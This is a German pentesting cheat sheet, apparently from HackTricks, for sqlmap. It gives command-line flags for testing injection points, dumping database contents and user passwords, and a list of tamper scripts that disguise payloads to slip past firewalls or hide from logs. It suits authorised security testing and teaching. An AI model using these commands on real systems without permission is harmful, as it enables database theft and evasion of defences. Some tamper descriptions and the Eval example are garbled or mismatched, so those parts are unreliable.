Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an dieHackTricks und HackTricks Cloud GitHub-Repositories einreichen.
Sofort einsatzbereite Einrichtung für Schwachstellenbewertung und Penetrationstests. Führen Sie einen vollständigen Pentest von überall aus mit 20+ Tools & Funktionen durch, die von der Aufklärung bis zum Bericht reichen. Wir ersetzen keine Pentester - wir entwickeln benutzerdefinierte Tools, Erkennungs- und Exploit-Module, um ihnen etwas Zeit zurückzugeben, um tiefer zu graben, Shells zu öffnen und Spaß zu haben.
Grundlegende Argumente für SQLmap
Generisch
-u"<URL>"-p"<PARAM TO TEST>"--user-agent=SQLMAP--random-agent--threads=10--risk=3#MAX--level=5#MAX--dbms="<KNOWN DB TECH>"--os="<OS>"--technique="UB"#Use only techniques UNION and BLIND in that order (default "BEUSTQ")--batch#Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers--auth-type="<AUTH>"#HTTP authentication type (Basic, Digest, NTLM or PKI)--auth-cred="<AUTH>"#HTTP authentication credentials (name:password)--proxy=http://127.0.0.1:8080--union-char"GsFRts2"#Help sqlmap identify union SQLi techniques with a weird union char
Informationen abrufen
Intern
--current-user#Get current user--is-dba#Check if current user is Admin--hostname#Get hostname--users#Get usernames od DB--passwords#Get passwords of users in DB--privileges#Get privileges
Datenbankdaten
--all#Retrieve everything--dump#Dump DBMS database table entries--dbs#Names of the available databases--tables#Tables of a database ( -D <DB NAME> )--columns#Columns of a table ( -D <DB NAME> -T <TABLE NAME> )-D<DBNAME>-T<TABLENAME>-C<COLUMNNAME>#Dump column
Injektionsort
Aus der Burp/ZAP-Aufzeichnung
Erfassen Sie die Anfrage und erstellen Sie eine req.txt-Datei
#Inside cookiesqlmap-u"http://example.com"--cookie"mycookies=*"#Inside some headersqlmap-u"http://example.com"--headers="x-forwarded-for:127.0.0.1*"sqlmap-u"http://example.com"--headers="referer:*"#PUT Methodsqlmap--method=PUT-u"http://example.com"--headers="referer:*"#The injection is located at the '*'
Geben Sie den String an, wenn die Injektion erfolgreich ist
--string="string_showed_when_TRUE"
Eval
Sqlmap ermöglicht die Verwendung von -e oder --eval, um jeden Payload mit einem Python-Oneliner zu verarbeiten, bevor er gesendet wird. Dies macht es sehr einfach und schnell, den Payload auf benutzerdefinierte Weise zu verarbeiten, bevor er gesendet wird. Im folgenden Beispiel wird die Flask-Cookie-Sessionvon Flask mit dem bekannten Geheimnis signiert, bevor sie gesendet wird:
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap-rr.txt-pid--not-stringridiculous--batch
Tamper
Denken Sie daran, dass Sie Ihren eigenen Tamper in Python erstellen können und es ist sehr einfach. Ein Tamper-Beispiel finden Sie auf der Second Order Injection-Seite hier.
--tamper=name_of_the_tamper#In kali you can see all the tampers in /usr/share/sqlmap/tamper
Sofort verfügbare Einrichtung für Schwachstellenbewertung & Penetrationstests. Führen Sie einen vollständigen Pentest von überall aus mit 20+ Tools & Funktionen durch, die von der Aufklärung bis zum Bericht reichen. Wir ersetzen keine Pentester - wir entwickeln benutzerdefinierte Tools, Erkennungs- & Exploitation-Module, um ihnen etwas Zeit zu geben, tiefer zu graben, Shells zu öffnen und Spaß zu haben.
Ersetzt das Apostroph-Zeichen durch sein UTF-8 Vollbreiten-Gegenstück
apostrophenullencode.py
Ersetzt das Apostroph-Zeichen durch sein illegales doppeltes Unicode-Gegenstück
appendnullbyte.py
Hängt das codierte NULL-Byte-Zeichen am Ende des Payloads an
base64encode.py
Base64 alle Zeichen in einem gegebenen Payload
between.py
Ersetzt den Größer-als-Operator ('>') durch 'NOT BETWEEN 0 AND #'
bluecoat.py
Ersetzt das Leerzeichen nach der SQL-Anweisung durch ein gültiges zufälliges Leerzeichen. Ersetzt anschließend das Zeichen = durch den LIKE-Operator
chardoubleencode.py
Verdoppelt das URL-Encoding aller Zeichen in einem gegebenen Payload (nicht bereits codierte Verarbeitung)
commalesslimit.py
Ersetzt Vorkommnisse wie 'LIMIT M, N' durch 'LIMIT N OFFSET M'
commalessmid.py
Ersetzt Vorkommnisse wie 'MID(A, B, C)' durch 'MID(A FROM B FOR C)'
concat2concatws.py
Ersetzt Vorkommnisse wie 'CONCAT(A, B)' durch 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'
charencode.py
URL-codiert alle Zeichen in einem gegebenen Payload (nicht bereits codierte Verarbeitung)
charunicodeencode.py
Unicode-URL-codiert nicht codierte Zeichen in einem gegebenen Payload (nicht bereits codierte Verarbeitung). "%u0022"
charunicodeescape.py
Unicode-URL-codiert nicht codierte Zeichen in einem gegebenen Payload (nicht bereits codierte Verarbeitung). "\u0022"
equaltolike.py
Ersetzt alle Vorkommnisse des Operators gleich ('=') durch den Operator 'LIKE'
escapequotes.py
Schrägstrich entkommt Anführungszeichen (' und ")
greatest.py
Ersetzt den Größer-als-Operator ('>') durch das 'GREATEST'-Gegenstück
halfversionedmorekeywords.py
Fügt vor jedem Schlüsselwort einen versionierten MySQL-Kommentar hinzu
ifnull2ifisnull.py
Ersetzt Vorkommnisse wie 'IFNULL(A, B)' durch 'IF(ISNULL(A), B, A)'
modsecurityversioned.py
Umarmt die vollständige Abfrage mit einem versionierten Kommentar
modsecurityzeroversioned.py
Umarmt die vollständige Abfrage mit einem null-versionierten Kommentar
multiplespaces.py
Fügt mehrere Leerzeichen um SQL-Schlüsselwörter hinzu
nonrecursivereplacement.py
Ersetzt vordefinierte SQL-Schlüsselwörter durch geeignete Darstellungen für den Ersatz (z.B. .replace("SELECT", "")) Filter
percentage.py
Fügt ein Prozentzeichen ('%') vor jedem Zeichen hinzu
overlongutf8.py
Konvertiert alle Zeichen in einem gegebenen Payload (nicht bereits codierte Verarbeitung)
randomcase.py
Ersetzt jedes Schlüsselwortzeichen durch einen zufälligen Groß-/Kleinbuchstabenwert
randomcomments.py
Fügt zufällige Kommentare zu SQL-Schlüsselwörtern hinzu
securesphere.py
Hängt einen speziell erstellten String an
sp_password.py
Hängt 'sp_password' an das Ende des Payloads zur automatischen Verschleierung in den DBMS-Protokollen
space2comment.py
Ersetzt Leerzeichen (' ') durch Kommentare
space2dash.py
Ersetzt Leerzeichen (' ') durch einen Strichkommentar ('--') gefolgt von einer zufälligen Zeichenfolge und einer neuen Zeile ('\n')
space2hash.py
Ersetzt Leerzeichen (' ') durch ein Rautenzeichen ('#') gefolgt von einer zufälligen Zeichenfolge und einer neuen Zeile ('\n')
space2morehash.py
Ersetzt Leerzeichen (' ') durch ein Rautenzeichen ('#') gefolgt von einer zufälligen Zeichenfolge und einer neuen Zeile ('\n')
space2mssqlblank.py
Ersetzt Leerzeichen (' ') durch ein zufälliges Leerzeichen aus einem gültigen Satz alternativer Zeichen
space2mssqlhash.py
Ersetzt Leerzeichen (' ') durch ein Rautenzeichen ('#') gefolgt von einer neuen Zeile ('\n')
space2mysqlblank.py
Ersetzt Leerzeichen (' ') durch ein zufälliges Leerzeichen aus einem gültigen Satz alternativer Zeichen
space2mysqldash.py
Ersetzt Leerzeichen (' ') durch einen Strichkommentar ('--') gefolgt von einer neuen Zeile ('\n')
space2plus.py
Ersetzt Leerzeichen (' ') durch Plus ('+')
space2randomblank.py
Ersetzt Leerzeichen (' ') durch ein zufälliges Leerzeichen aus einem gültigen Satz alternativer Zeichen
symboliclogical.py
Ersetzt die logischen Operatoren AND und OR durch ihre symbolischen Gegenstücke (&& und
unionalltounion.py
Ersetzt UNION ALL SELECT durch UNION SELECT
unmagicquotes.py
Ersetzt das Anführungszeichen (') durch eine Multi-Byte-Kombination %bf%27 zusammen mit einem generischen Kommentar am Ende (um es funktionieren zu lassen)
uppercase.py
Ersetzt jedes Schlüsselwortzeichen durch den Großbuchstabenwert 'INSERT'
varnish.py
Fügt einen HTTP-Header 'X-originating-IP' hinzu
versionedkeywords.py
Umschließt jedes nicht-funktionale Schlüsselwort mit einem versionierten MySQL-Kommentar
versionedmorekeywords.py
Umschließt jedes Schlüsselwort mit einem versionierten MySQL-Kommentar
xforwardedfor.py
Fügt einen gefälschten HTTP-Header 'X-Forwarded-For' hinzu